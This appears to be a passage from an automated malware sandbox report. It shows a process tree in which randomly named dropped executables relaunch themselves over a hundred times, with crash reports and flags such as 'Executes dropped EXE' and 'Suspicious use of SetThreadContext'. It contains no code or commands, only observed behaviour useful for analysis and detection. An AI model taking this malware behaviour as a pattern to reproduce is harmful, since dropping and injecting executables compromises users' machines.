C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5800 -s 28
4⤵
- Program crash
- Enumerates system info in registry
PID:5652

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8756

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8292

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5900

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:2792

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3448

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5800

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5648

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8948

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5372

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:2456

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5392

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:1324

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8692

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8356

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9088

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8112

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6192

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7192

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4068

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9016

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7836

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9008

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6980

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7636

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:1708

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4632

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4884

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8432

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5024

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:1036

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9332

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9584

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9928

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6100

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9448

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8208

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:8432

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10228

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7676

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10220

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3444

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7948

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4640

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9744

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6328

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6588

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8816

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3984

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3192

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10368

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10564

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10844

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11212

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5036

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10856

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10944

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8920

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 11036 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:10788

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7548

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10304

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10980

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5056

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8488

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5728

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3244

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5268

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10172

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5772

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10224

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9692

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11444

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11728

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:12052

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:12192

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11480

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11812

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:12928

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13128

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6280

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4596

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7256

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6732

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8456

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9860

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7644

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13404

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13524

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13832

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:14136

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9504

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13772

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:14040

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:14328

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11680

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3692

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:7356

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:5720

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3428

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8212

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13476

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11304

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4892

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11160

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11280

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13188

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9080

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9976

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8768

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11404

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:12736

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10496

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8956

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11756

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:6928

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8724

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3300

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10832

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13628

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13384

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:2636

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4628

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:12740

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10832

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13436

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8260

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:14220

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11596

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9020

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:10968

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3536

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:3196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 28
4⤵
- Program crash
PID:11924

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:13876

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:9684

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:12600

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:14564

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:14984

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:15312

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:4752

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:14760

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:8792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 8792 -s 28
4⤵
- Program crash
PID:16132

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:15912

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:16376

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11096

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11516

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:15864

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:16640

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:17168

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:16584

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:2848

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:11768

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:12420

C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
C:\Users\Admin\Documents\WNQWi42NIFcn2gkCzJslMDRK.exe
3⤵
PID:17608

C:\Users\Admin\Documents\kPmhwLuYdptSxpC5nJ2HYGqi.exe
"C:\Users\Admin\Documents\kPmhwLuYdptSxpC5nJ2HYGqi.exe"
2⤵
- Executes dropped EXE
PID:4952

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4952 -s 300
3⤵
- Drops file in Windows directory
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2764

C:\Users\Admin\Documents\_E1_K8fAVJy4HbXWR7S75JuG.exe
"C:\Users\Admin\Documents\_E1_K8fAVJy4HbXWR7S75JuG.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4540

C:\Users\Admin\Documents\_E1_K8fAVJy4HbXWR7S75JuG.exe
"C:\Users\Admin\Documents\_E1_K8fAVJy4HbXWR7S75JuG.exe"
3⤵
PID:5088

C:\Users\Admin\Documents\_E1_K8fAVJy4HbXWR7S75JuG.exe
"C:\Users\Admin\Documents\_E1_K8fAVJy4HbXWR7S75JuG.exe"
3⤵
PID:6992

C:\Users\Admin\Documents\_E1_K8fAVJy4HbXWR7S75JuG.exe
"C:\Users\Admin\Documents\_E1_K8fAVJy4HbXWR7S75JuG.exe"
3⤵
PID:6608

C:\Users\Admin\Documents\YNoV9DD0HJeUfa2cexjpQxMU.exe
